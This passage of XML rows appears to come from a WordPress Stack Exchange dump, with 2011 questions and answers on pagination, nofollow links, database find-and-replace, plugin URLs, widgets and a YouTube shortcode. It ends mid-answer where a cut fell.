  <row Id="7687" PostTypeId="1" AcceptedAnswerId="7723" CreationDate="2011-01-25T09:56:48.413" Score="1" ViewCount="661" Body="&lt;p&gt;I'm having a very peculiar bug with pagination :( I'm trying to display 4 posts per page for a category with slug &quot;lastest-news&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination function seems to work correctly. There are 33 posts. The pagination gets constructed correctly with 9 pages and links of following format: /category/lastest-news/page//&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interesting thing is that it works correctly (displaying 4 posts per page) from page 1-4 including. However, for pages 5-9 it doesn't work at all. It doesn't even seem to serve the template... the only error that I could spot is  of the page saying &quot;Nothing found for  Category Lastest-news Page 5&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would understand if it won't work at all, but for randomly 4 pages and not more?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really really appreciate any help! I've spend about over 4 hours trying to figure out what's wrong and it's bugging me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following code for query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$page = get_query_var('paged');&#xA;$posts_on_page = new WP_Query(&quot;posts_per_page=4&amp;amp;category_name=lastest-news&amp;amp;paged=&quot;.$page);&#xA;&#xA;//loop to display every one of 4 posts&#xA;&#xA;//pagination&#xA;pagination($posts_on_page-&amp;gt;max_num_pages);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using pagination function from this post: &lt;a href=&quot;http://www.kriesi.at/archives/how-to-build-a-wordpress-post-pagination-without-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.kriesi.at/archives/how-to-build-a-wordpress-post-pagination-without-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the function (which seems to work fine):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function pagination($pages = '', $range = 2){  &#xA; $showitems = ($range * 2)+1;  &#xA;&#xA; global $paged;&#xA; if(empty($paged)) $paged = 1;&#xA;&#xA; if($pages == '')&#xA; {&#xA;     global $wp_query;&#xA;     $pages = $wp_query-&amp;gt;max_num_pages;&#xA;     if(!$pages)&#xA;     {&#xA;         $pages = 1;&#xA;     }&#xA; }   &#xA;&#xA; if(1 != $pages)&#xA; {&#xA;     echo &quot;&amp;lt;div class='pagination'&amp;gt;&quot;;&#xA;     if($paged &amp;gt; 2 &amp;amp;&amp;amp; $paged &amp;gt; $range+1 &amp;amp;&amp;amp; $showitems &amp;lt; $pages) echo &quot;&amp;lt;a href='&quot;.get_pagenum_link(1).&quot;'&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&quot;;&#xA;     if($paged &amp;gt; 1 &amp;amp;&amp;amp; $showitems &amp;lt; $pages) echo &quot;&amp;lt;a href='&quot;.get_pagenum_link($paged - 1).&quot;'&amp;gt;&amp;amp;lsaquo;&amp;lt;/a&amp;gt;&quot;;&#xA;&#xA;     for ($i=1; $i &amp;lt;= $pages; $i++)&#xA;     {&#xA;         if (1 != $pages &amp;amp;&amp;amp;( !($i &amp;gt;= $paged+$range+1 || $i &amp;lt;= $paged-$range-1) || $pages &amp;lt;= $showitems ))&#xA;         {&#xA;             echo ($paged == $i)? &quot;&amp;lt;span class='current'&amp;gt;&quot;.$i.&quot;&amp;lt;/span&amp;gt;&quot;:&quot;&amp;lt;a href='&quot;.get_pagenum_link($i).&quot;' class='inactive' &amp;gt;&quot;.$i.&quot;&amp;lt;/a&amp;gt;&quot;;&#xA;         }&#xA;     }&#xA;&#xA;     if ($paged &amp;lt; $pages &amp;amp;&amp;amp; $showitems &amp;lt; $pages) echo &quot;&amp;lt;a href='&quot;.get_pagenum_link($paged + 1).&quot;'&amp;gt;&amp;amp;rsaquo;&amp;lt;/a&amp;gt;&quot;;  &#xA;     if ($paged &amp;lt; $pages-1 &amp;amp;&amp;amp;  $paged+$range-1 &amp;lt; $pages &amp;amp;&amp;amp; $showitems &amp;lt; $pages) echo &quot;&amp;lt;a href='&quot;.get_pagenum_link($pages).&quot;'&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&quot;;&#xA;     echo &quot;&amp;lt;/div&amp;gt;\n&quot;;&#xA; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1343" LastActivityDate="2011-01-25T18:25:23.207" Title="Pagination with WP_Query is buggy - working for some pages, but not the others" Tags="&lt;wp-query&gt;&lt;loop&gt;&lt;pagination&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="7688" PostTypeId="1" CreationDate="2011-01-25T10:16:56.487" Score="0" ViewCount="142" Body="&lt;p&gt;I'd like to use the wp_list_pages as a navigation bar, but I don't want the links to be followed. This is the simple version of the code I'm using &lt;code&gt;&amp;lt;?php wp_list_pages('hierarchical=1&amp;amp;title_li=&amp;amp;depth=1'); ?&amp;gt;&lt;/code&gt; but I have no idea how to add the &quot;nofollow&quot; to the links.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-25T11:28:42.480" Title="Hoe to add rel=&quot;nofollow&quot; to wp_list_pages" Tags="&lt;navigation&gt;&lt;pages&gt;&lt;nofollow&gt;" AnswerCount="1" />
  <row Id="7689" PostTypeId="1" AcceptedAnswerId="7731" CreationDate="2011-01-25T10:23:41.000" Score="0" ViewCount="58" Body="&lt;p&gt;How would I create a list that only shows the ten most used tags for my site?  Kind of how Delicious organizes tags.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2661" LastActivityDate="2011-01-25T16:40:12.917" Title="Top ten tags ala Delicious" Tags="&lt;tags&gt;" AnswerCount="1" />
  <row Id="7690" PostTypeId="1" CreationDate="2011-01-25T10:25:45.833" Score="0" ViewCount="135" Body="&lt;p&gt;By default, the Wp-PageNavi plugin creates 2 pagination links, from the second page onwards - one at the top, and another at the bottom of the page. How can I disable the pagination at the top, keeping only the pagination at the bottom?&lt;/p&gt;&#xA;" OwnerUserId="2374" LastActivityDate="2011-01-25T16:51:29.380" Title="How to disable Wp-PageNavi at the top of the page" Tags="&lt;plugins&gt;&lt;pagination&gt;&lt;modifications&gt;" AnswerCount="2" />
  <row Id="7691" PostTypeId="1" AcceptedAnswerId="7694" CreationDate="2011-01-25T11:00:48.867" Score="1" ViewCount="291" Body="&lt;p&gt;Right, hopefully a nice and simple one... I'm on a category page with the id of 4, I want to get the category object back so I can interogate a few values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've had a good old look in the WP codex with little success, remember I don't want to get the categories from a post, I want the category object from the current category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Ben :-)&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T14:50:50.887" LastActivityDate="2011-01-26T14:54:10.290" Title="On the category page, get the category object" Tags="&lt;categories&gt;&lt;template-tags&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="7692" PostTypeId="2" ParentId="7691" CreationDate="2011-01-25T11:07:38.403" Score="2" ViewCount="" Body="&lt;p&gt;Damn, so I did find the answer I was looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thisCat = get_category(get_query_var('cat'),false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Never mind :-)&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2011-01-25T11:07:38.403" />
  <row Id="7693" PostTypeId="1" AcceptedAnswerId="7698" CreationDate="2011-01-25T11:09:19.197" Score="0" ViewCount="460" Body="&lt;p&gt;Whenever I create a new website I first create a staging site on a subdomain like &quot;stage.domain-name.com&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After everything works correctly I export the database, open it in notepad++ and do a find/replace for &quot;subdomain.domain-name.com&quot; and replace it with &quot;domain-name.com&quot;... finally I import it into a new database for the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is... what SQL query would I need to run if I just wanted to do this simple find/replace on the entire database using phpmyadmin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-CH&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-08-02T19:47:12.690" Title="What SQL Query to do a simple find and replace" Tags="&lt;mysql&gt;&lt;query&gt;&lt;sql&gt;&lt;replace&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="1" />
  <row Id="7694" PostTypeId="2" ParentId="7691" CreationDate="2011-01-25T11:11:39.523" Score="3" ViewCount="" Body="&lt;p&gt;To get the category object use &lt;code&gt;get_category&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_category&quot; rel=&quot;nofollow&quot;&gt;codex&lt;/a&gt;). It's easy if you know the name, slug or ID, but if you don't you could use &lt;code&gt;is_category&lt;/code&gt; to check on which category you are and pass the ID to &lt;code&gt;get_category&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-25T11:11:39.523" CommentCount="1" />
  <row Id="7696" PostTypeId="2" ParentId="7673" CreationDate="2011-01-25T11:20:15.350" Score="2" ViewCount="" Body="&lt;p&gt;You should reproduce your site's header on the header.php file on your theme. If you want any more help you could show us some code. But basically that's it, WordPress gets the header for the page from the header.php on your theme. Check out say Twenty Ten's header as an example (wp-content/themes/twentyten/header.php), and try to adapt your site's header to this format.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-25T11:20:15.350" />
  <row Id="7697" PostTypeId="1" AcceptedAnswerId="7858" CreationDate="2011-01-25T11:21:09.167" Score="1" ViewCount="164" Body="&lt;p&gt;I am trying to add in a script and css file for my plugin into the admin header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function similar to &lt;code&gt;get_bloginfo('url')&lt;/code&gt; that I could use to reference the files correctly without having to hard code url's?&lt;/p&gt;&#xA;" OwnerUserId="2632" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-25T12:05:30.920" LastActivityDate="2011-01-27T12:25:47.617" Title="URLs of plugin resources?" Tags="&lt;plugin-development&gt;&lt;wp-admin&gt;&lt;urls&gt;" AnswerCount="4" FavoriteCount="2" />
  <row Id="7698" PostTypeId="2" ParentId="7693" CreationDate="2011-01-25T11:25:54.503" Score="1" ViewCount="" Body="&lt;p&gt;The table where your URL is saved is wp_options. You should do an update on the columns that use the URL for your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE TABLE wp_options SET option_value = &quot;new domain&quot; WHERE option_name = &quot;siteurl&quot;&#xA;UPDATE TABLE wp_options SET option_value = &quot;new domain&quot; WHERE option_name = &quot;home&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I might be missing some value, but whenever you do this find/replace process again, you can notice the values and tables that should be updated and add them to this script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress Codex has a nice guide on how to change a site URL, maybe that's even handier for you: &lt;a href=&quot;http://codex.wordpress.org/Changing_The_Site_URL&quot; rel=&quot;nofollow&quot;&gt;Changing the Site URL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-01-25T11:25:54.503" CommentCount="2" />
  <row Id="7699" PostTypeId="2" ParentId="7688" CreationDate="2011-01-25T11:28:42.480" Score="2" ViewCount="" Body="&lt;p&gt;use wordpress build in funcion for that &quot;wp_rel_nofollow&quot;&#xA;with a hook to wp_list_pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;paste this code in your theme's functions.php file and you are set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_no_follow($output){&#xA;  return wp_rel_nofollow($output);&#xA;}&#xA;add_filter('wp_list_pages', 'add_no_follow');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-25T11:28:42.480" CommentCount="4" />
  <row Id="7700" PostTypeId="2" ParentId="5723" CreationDate="2011-01-25T11:32:49.853" Score="2" ViewCount="" Body="&lt;p&gt;To change the field order, you can delete all the fields and then add them again in the order of your choosing. Sucks to have to do it that way, but whatever. It's a free program.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-25T11:32:49.853" CommentCount="1" />
  <row Id="7701" PostTypeId="2" ParentId="7697" CreationDate="2011-01-25T11:33:36.593" Score="0" ViewCount="" Body="&lt;p&gt;you can use WP_PLUGIN_URL like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WP_PLUGIN_URL .'/plugin_directory/filename.css'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can define your own like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'PLUGIN_DIR', dirname(__FILE__).'/' );  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on the main plugin file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-25T11:33:36.593" />
  <row Id="7702" PostTypeId="1" CreationDate="2011-01-25T11:36:11.270" Score="0" ViewCount="115" Body="&lt;p&gt;Is it possible to add a child post into the parent page?&#xA;Basically I have a 1 parent page and it has 2 child page that has a simple content , and I want the child page content to put also in the parent page ,BUT making it an as a excerpt, not output all content (just a teaser).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Havent clue yet how to pull that..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help will do &lt;/p&gt;&#xA;" OwnerUserId="2210" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-26T09:57:35.217" LastActivityDate="2011-05-26T19:54:04.917" Title="Is it possible to add a child post into the parent page?" Tags="&lt;page-template&gt;&lt;pages&gt;&lt;template-tags&gt;" AnswerCount="2" />
  <row Id="7703" PostTypeId="2" ParentId="7693" CreationDate="2011-01-25T11:45:36.890" Score="1" ViewCount="" Body="&lt;p&gt;you do not have to do this , you can use relative paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when you are linking something instead of subdomain.soemthing.com/image.jpg - use /image.jpg for example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this you won't face the problem in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;otherwise for a mysql update statement you can use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update TABLE_NAME set FIELD_NAME = replace(FIELD_NAME, ‘find this string’, ‘replace found string with this string’);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-01-25T11:45:36.890" CommentCount="2" />
  <row Id="7704" PostTypeId="2" ParentId="7690" CreationDate="2011-01-25T11:50:47.713" Score="1" ViewCount="" Body="&lt;p&gt;You have to edit your theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can paste the code of the page in question, i can tell you which part to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you found something like &lt;code&gt;&amp;lt;?php posts_nav_link(); ?&amp;gt;&lt;/code&gt;&#xA;make sure to remove it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;have a backup first ;)&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-01-25T11:50:47.713" CommentCount="2" />
  <row Id="7705" PostTypeId="2" ParentId="7686" CreationDate="2011-01-25T11:57:56.113" Score="0" ViewCount="" Body="&lt;p&gt;try searching for plugins with word ticker in the them.&#xA;Tickers usually have the sliding effect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if your lucky - the ticker will have the option of right to left - not just up/down&#xA;otherwise u might have to tweak some JQuery code i guess &lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-01-25T11:57:56.113" CommentCount="1" />
  <row Id="7706" PostTypeId="2" ParentId="7697" CreationDate="2011-01-25T12:03:22.937" Score="2" ViewCount="" Body="&lt;p&gt;If you want the url to a file in your plugin directory, you should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugins_url&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;plugins_url()&lt;/code&gt;&lt;/a&gt;, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// The url to the `wordpress.png` file in the `images` subdirectory of the plugin&#xA;plugins_url( '/images/wordpress.png', __FILE__ );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember, people can &lt;a href=&quot;http://wordpress.stackexchange.com/questions/715/objective-best-practices-for-plugin-development/3245#3245&quot;&gt;rename your plugin directory&lt;/a&gt;, so don't hard-code it in your file.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-25T12:03:22.937" CommentCount="1" />
  <row Id="7707" PostTypeId="1" AcceptedAnswerId="7712" CreationDate="2011-01-25T12:05:33.080" Score="0" ViewCount="241" Body="&lt;p&gt;I created a custom widget, but it's not saving if I click on save. When I refresh the page it is not saved. My code looks like follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     &amp;lt;?php &#xA;/**  * Plugin Name: Sending a&#xA;     Contact SMS  * Plugin URI:&#xA;     http://www.test.co.za  * Description:&#xA;     Allows you to send a contact SMS to&#xA;     website owner  * Author: test  *&#xA;     Version: 1.0  * Author URI:&#xA;     http://test.co.za&#xA;     */&#xA;&#xA;     class sendSMS extends WP_Widget {&#xA;&#xA;         function sendSMS() {&#xA;               $widget_ops = array(&#xA;                   'classname' =&amp;gt; 'sendSMS',&#xA;                   'description' =&amp;gt; 'Allows you to add a small contact form that will send out an sms to the user.',&#xA;               );&#xA;               $control_ops = array( 'id_base' =&amp;gt; 'smsForm-widget' );&#xA;               $this-&amp;gt;WP_Widget( 'smsForm-widget', 'Send SMS', $widget_ops, $control_ops);  }&#xA;&#xA;         function form ($instance) {&#xA;             $defaults = array('title'=&amp;gt; __('Example', 'example'), 'name' =&amp;gt;  __('John Doe', 'example'), 'number' =&amp;gt; __('+27825656994', 'example'), 'message' =&amp;gt;  __('Tell Us', 'example') );&#xA;             $instance = wp_parse_args( (array) $instance, $defaults );&#xA;             ?&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;&#xA;                        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:', 'hybrid'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'title' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['title']; ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;&#xA;                        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'name' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Your Name:', 'name'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'name' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'name' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['name']; ?&amp;gt;&quot; /&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;!-- Your Name: Text Input --&amp;gt;&#xA;                &amp;lt;p&amp;gt;&#xA;                        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'number' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Your Cellphone Number:', 'number'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'number' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'number' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['number']; ?&amp;gt;&quot;  /&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;&#xA;                &amp;lt;p&amp;gt;&#xA;                        &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'message' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Your Message:', 'message'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                        &amp;lt;textarea id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'message' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'message' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $instance['message']; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                &amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;             &amp;lt;?php&#xA;&#xA;         }&#xA;&#xA;         function update ($new_instance, $old_instance) {&#xA;            $instance = $old_instance;&#xA;&#xA;            /* Strip tags (if needed) and update the widget settings. */&#xA;            $instance['title'] = strip_tags( $new_instance['title'] );&#xA;            $instance['name'] = strip_tags( $new_instance['name'] );&#xA;            $instance['number'] = $new_instance['number'];&#xA;            $instance['message'] = $new_instance['message'];&#xA;&#xA;            return $instance;&#xA;&#xA;         }&#xA;&#xA;         function widget ($args,$instance) {&#xA;            extract( $args );&#xA;&#xA;            /* Our variables from the widget settings. */&#xA;            $title = apply_filters('widget_title', $instance['title'] );&#xA;            $name = $instance['name'];&#xA;            $number = $instance['number'];&#xA;            $message = $instance['message'];&#xA;&#xA;            /* Before widget (defined by themes). */&#xA;            echo $before_widget;&#xA;&#xA;            /* Display the widget title if one was input (before and after defined by themes). */&#xA;            if ( $title )&#xA;                    echo $before_title . $title . $after_title;&#xA;&#xA;            /* Display name from widget settings if one was input. */&#xA;            if ( $name )&#xA;                    printf( '&amp;lt;p&amp;gt;' . __('Hello. My name is %1$s.', 'example') . '&amp;lt;/p&amp;gt;', $name );&#xA;&#xA;            if ( $number )&#xA;                    printf( '&amp;lt;p&amp;gt;' . __('Hello. My number is %1$s.', 'example') . '&amp;lt;/p&amp;gt;', $name );&#xA;&#xA;            if ( $message )&#xA;                    printf( '&amp;lt;p&amp;gt;' . __('Hello. My message is %1$s.', 'example') . '&amp;lt;/p&amp;gt;', $message );&#xA;&#xA;            /* After widget (defined by themes). */&#xA;            echo $after_widget;  }&#xA;&#xA;        }&#xA;&#xA;        function load_sms_form() {  register_widget( 'sendSMS' ); }&#xA;&#xA;        add_action('widgets_init', 'load_sms_form');&#xA;&#xA;         // register the widget&#xA;&#xA;        ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2719" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2011-02-03T17:45:08.077" LastActivityDate="2011-02-03T17:45:08.077" Title="My Custom Widget does not save in sidebar" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="7708" PostTypeId="1" AcceptedAnswerId="24636" CreationDate="2011-01-25T12:08:41.197" Score="0" ViewCount="111" Body="&lt;p&gt;I have a site with custom taxonomy.&#xA;I want to give the client the ability to control the taxonomy order.&#xA;How can I do that ?&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2011-08-01T21:57:57.610" Title="Howto control custum taxonomy order?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="7709" PostTypeId="2" ParentId="7634" CreationDate="2011-01-25T12:14:30.657" Score="0" ViewCount="" Body="&lt;p&gt;would this help ? &#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/exclude-pages/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/exclude-pages/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-01-25T12:14:30.657" CommentCount="1" />
  <row Id="7710" PostTypeId="2" ParentId="7664" CreationDate="2011-01-25T12:20:48.360" Score="1" ViewCount="" Body="&lt;p&gt;Here is a complete tutorial with source files that do exactly what you want,&lt;br&gt;&#xA;You can upload multi images by cloning the input field and also you can preview, delete images with ajax, add multi metaboxes to multiple/different post types and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;http://www.deluxeblogtips.com/2010/05/howto-meta-box-wordpress.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here you can find some good information on how you call the attached images,&lt;br&gt;&#xA;&lt;a href=&quot;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-01-25T12:20:48.360" CommentCount="2" />
  <row Id="7711" PostTypeId="1" AcceptedAnswerId="7713" CreationDate="2011-01-25T12:41:34.073" Score="0" ViewCount="209" Body="&lt;p&gt;I use the following to add in a post a YouTube thumbnail and display the video in a fancybox:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;a class=&quot;fancybox&quot; href=&quot;#video2&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;http://img.youtube.com/vi/dm36W5NTPag/0.jpg&quot; alt=&quot;Welcome To High Output&quot; width=&quot;220px&quot; height=&quot;120px&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;video2&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;&amp;lt;iframe title=&quot;YouTube video player&quot; class=&quot;youtube-player&quot; type=&quot;text/html&quot; width=&quot;480&quot; height=&quot;390&quot; src=&quot;http://www.youtube.com/embed/dm36W5NTPag&quot; frameborder=&quot;0&quot; &#xA;allowFullScreen&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically the shortcode must have one fields to enter the ID of the video in the thumbnail, the link to the video, the link of the first div, and the id of the second div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://img.youtube.com/vi/(HERE)/0.jpg&lt;/code&gt; and &lt;code&gt;http://img.youtube.com/vi/(HERE)/0.jpg&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a class=&quot;fancybox&quot; href=&quot;#(HERE)&quot;&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;div id=&quot;(HERE)&quot; style=&quot;display: none;&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the shortcode should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[youtube VIDEO ID:(Enter ID)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anybody know how to do this?&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-25T13:03:19.633" LastActivityDate="2011-01-25T13:21:17.430" Title="How to create a shortcode to let the user add the ID of a YouTube video?" Tags="&lt;shortcode&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="7712" PostTypeId="2" ParentId="7707" CreationDate="2011-01-25T13:06:28.800" Score="1" ViewCount="" Body="&lt;p&gt;there no &quot;id_base&quot; key in &lt;code&gt;$control_ops&lt;/code&gt;; from what I know it only accepts width/height.&#xA;move it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the id_base is the first argument you have there in &lt;code&gt;WP_Widget()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-25T13:06:28.800" />
  <row Id="7713" PostTypeId="2" ParentId="7711" CreationDate="2011-01-25T13:13:10.513" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;add_shortcode('youtube', 'youtube_shortcode'); &#xA;&#xA;function youtube_shortcode($atts){  &#xA;&#xA;  if(!isset($atts[0])) return;&#xA;  $id = strip_tags($atts[0]);&#xA;  ob_start();&#xA;  ?&amp;gt;&#xA;&#xA;&amp;lt;div&amp;gt;&amp;lt;a class=&quot;fancybox&quot; href=&quot;#video_&amp;lt;?php echo $id; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;http://img.youtube.com/vi/&amp;lt;?php echo $id; ?&amp;gt;/0.jpg&quot; alt=&quot;Welcome To High Output&quot; width=&quot;220px&quot; height=&quot;120px&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;&amp;lt;div id=&quot;video_&amp;lt;?php echo $id; ?&amp;gt;&quot; style=&quot;display: none;&quot;&amp;gt;&#xA;&amp;lt;iframe title=&quot;YouTube video player&quot; class=&quot;youtube-player&quot; type=&quot;text/html&quot; width=&quot;480&quot; height=&quot;390&quot; src=&quot;http://www.youtube.com/embed/&amp;lt;?php echo $id; ?&amp;gt;&quot; frameborder=&quot;0&quot; &#xA;allowFullScreen&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;  &amp;lt;?php&#xA;  return 